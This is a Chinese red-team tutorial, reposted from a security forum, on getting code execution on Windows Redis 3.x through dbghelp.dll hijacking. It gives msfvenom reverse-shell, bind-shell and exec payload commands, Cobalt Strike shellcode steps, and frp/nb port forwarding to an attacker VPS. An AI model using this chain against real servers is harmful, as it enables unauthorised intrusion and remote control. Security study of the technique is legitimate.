0x01前言
大概两年前,一个红队项目打点进去后打不开局面,只拿到一些无关痛痒的成果,其中有几个Windows 3.0.504和3.2.100版本的Redis未授权访问或弱口令打开程序时找不到dll文件,我当时想,要是能通过Redis拿下其中一台Windows服务器就好了,我就有很多办法尝试横向了,于是搜索学习了很多关于Windows上Redis的利用。
最近突然又想起了这个漏洞,而网上大部分师傅的文章都侧重于讲原理,并没有给出实战可用的方案,于是我写了这篇文章,比较偏红队实战。
先说为什么不模块加载而要DLL劫持:
3.x版本的Redis并没有模块加载的功能,而微软官方的Redis最高就到3.2.100和3.0.504,更高版本的Windows Redis都是第三方的,这也是实战中Windows服务器上的Redis几乎全是3.2.100和3.0.504的原因(可能我打体制单位比较多,或许部分私企尤其是互联网私企会用第三方的高版本Redis来获取一些新功能)。
当时大概搜到了以下这些办法:
这些方法除了DLL劫持都要靠运气,只有DLL劫持能稳定利用并且对权限没有要求,也不会破坏原本的服务。
0x02 漏洞原理
不是这篇文章的重点,写得比较简略。
2.1 DLL劫持简介
标准的DLL查找顺序:
举例:
例如,假设有一个应用程序叫做"example.exe",它依赖于名为"example.dll"的动态链接库。而"example.exe"在加载"example.dll"时没有使用绝对路径,而是仅仅指定了DLL的名称。攻击者可以将恶意的"example.dll"文件放置在与"example.exe"相同的目录下,当"example.exe"启动时,系统会先在当前目录中查找"example.dll"文件,如果找到,就会加载该文件并执行其中的恶意代码。
DLL劫持可以函数转发劫持也可以往完整DLL插入恶意代码,这里用的函数转发劫持Windows Redis DLL劫持在实战中的利用,大致流程如下图所示:
https://kiwings.github.io/2019/04/04/th-DLL%E5%8A%AB%E6%8C%81/
2.2 劫持dbghelp.dll
redis-server.exe在执行bgsave时,会先在应用目录查找dbghelp.dll,找不到再去system32目录下找:
而不管redis的权限是Administrator还是普通用户或者Network Service,它对自己的应用目录一定有写文件的权限,我们可以通过Redis的主从复制在应用目录里写入恶意DLL。
2.3 函数转发劫持
对DLL进行函数转发劫持需要导出原本DLL的函数和地址,以保证程序通过恶意DLL调用这些函数时不影响正常功能,DLL的导出函数一般比较多,用Aheadlib之类的工具可以自动化处理。
我这里用的是DLLHijacker,它会自动处理导出表并生成一个VS2019的项目,但这个python脚本有几个bug:
https://github.com/kiwings/DLLHijacker
(1) VS项目中文乱码:
修复:几个写文件的地方添加 encoding="utf-8"。
(2) 函数导出表有匿名函数的时候,会导致以下报错
[-]Error occur: 'NoneType' object has no attribute 'decode
修复:在几个for循环里添加函数名是否为空的判断可以解决这个问题。
(3)生成C/C++代码时,没有使用目标DLL的绝对路径,只是用了DLL的名字填充LoadLibrary(),这是一个很严重的bug,会导致函数转发失败、Redis的功能受到影响从而只能劫持一次:
修复:我改成了根据输入的目标DLL路径自动填充。
如果没有使用原DLL的绝对路径,在Process Monitor可以看到,只会调用应用程序目录里的恶意DLL,并没有调用原本的system32下的dbghelp.dll:
从而redis的功能受到影响,导致redis的bgsave只能触发一次DLL调用,第二次bgsave的进程会被阻塞从而无法调用DLL,并且Redis关闭后将无法启动:
这也是网上部分师傅的文章写”不会影响redis运行 但会无法重启“的原因,因为他们也是用的DLLHijacker,并且没有发现有这个坑,这不仅会影响业务,而且只能劫持一次:
正常的DLL劫持不会影响程序的功能,可以劫持很多次,假如我第一次劫持想上线CS但是没有成功Windows Redis DLL劫持在实战中的利用,那对面可能不出网,那我可能会再劫持打一个MSF的反向shell,都没成功我也可以继续尝试MSF盲打命令:
正常的DLL转发劫持如下,调用完应用程序目录里的恶意DLL后会调用原DLL:
0x03漏洞利用
3.1 工具使用
工具下载地址:
https://github.com/P4r4d1se/dll_hijack
如是是Windows 64位的Redis DLL劫持的话,可以直接用里面的VS2022版的dbghelp项目。
其他要用我修改后的DllHijacker.py和目标DLL路径生成VS项目:
python3 DLLHijacker.py C:\Windows\System32\dbghelp.dll
下载安装VS2022,只用勾C++桌面开发:
https://visualstudio.microsoft.com/zh-hans/downloads
打开生成目录里的sln文件,因为原本是VS2019的项目所以会提醒你升级,选确定,不然得另外安装v142的编译组件才能编译VS2019的项目:
打开后在源文件的dllmain.app,修改里面的shellocde就行,其他不用改:
3.2 出网——Cobalt Strike
如果Redis主机直接出网,或者能通其他已经上线CS的出网主机,那直接上CS是最好的选择,CS生成C语言的payload:
源文件的dllmain.app里把payload替换进去,然后选Release x64,生成——生成解决方案:
然后主从复制将dbghelp.dll写过去并bgsave,我这里用的RabR而不是RedisWriteFile,因为这个可以自动备份并恢复Redis的数据,免得再自己用redis-dump-go:
上线成功:
3.3 不出网——Metasploit3.3.1 反向shell
这里演示Redis主机不出网,但手里控了内网其他的Linux出网主机,通过端口转发来打反向shell,示意图:
msf生成payload,让meterpreter的流量指向Linux出网主机的4444端口:
msfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 RC4PASSWORD=redis LHOST=192.168.115.128 LPORT=4444 -f c
Linux出网主机将本地4444端口映射到vps的8090端口,这里用的工具是这个:
./nb -tran 4444 vps_ip:8090
然后用frp把msf攻击机的4444端口映射到vps的8090:
serverAddr = "vps_ip"
serverPort = vps_port
[[proxies]]
name = "test-tcp"
type = "tcp"
localIP = "127.0.0.1"
localPort = 4444
remotePort = 8090
msf启动监听,这里的LHOST可以用127.0.0.1或0.0.0.0都行:
编译DLL+主从复制写入触发,msf成功收到shell:
3.3.2 正向shell
也可以通过proxychains隧道让msf打一个正向shell,但我觉得不如用端口转发打反向,我这里是本地演示就不挂proxychains了。
生成payload:
msfvenom -p windows/x64/meterpreter/bind_tcp_rc4 LPORT=11111 RC4PASSWORD=redis -f c
然后编译DLL+主从复制写入触发,但这里有个问题,我测试的时候发现,rundll32.exe在win10防火墙上是默认只能出站不能入站的,我没有测试不同版本的Windows Server是否也是这样打开程序时找不到dll文件,如果默认都不能入站的话,那这个利用方式可能缺乏实战价值:
允许访问后,msf正向连接成功:
3.3.3 exec
如果以上方法都不行,那就当成一个盲打的命令执行,结合具体情况想办法利用,就是过程稍微麻烦一点,每次执行命令都需要生成payload+编译DLL+主从复制写文件,不过这个过程也挺快的其实。
msf生成Windows64位的命令执行payload:
msfvenom -p windows/x64/exec CMD="ping dnslog" -f c
编译DLL+主从复制触发:
0x04参考
https://chatgpt.com/
https://github.com/kiwings/DLLHijacker
https://cocomelonc.github.io/pentest/2021/10/12/dll-hijacking-2.html
https://xz.aliyun.com/t/8153
https://kiwings.github.io/2019/04/04/th-DLL%E5%8A%AB%E6%8C%81/
https://github.com/0671/RabR
https://jkme.github.io/2020/09/10/redis-windows-hijack.html
https://mp.weixin.qq.com/s/U-UD7h92fEJzCjyGbgF4Og
文章来源:先知社区(P4r4d1se)
原文地址:https://xz.aliyun.com/t/14455
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END
留言评论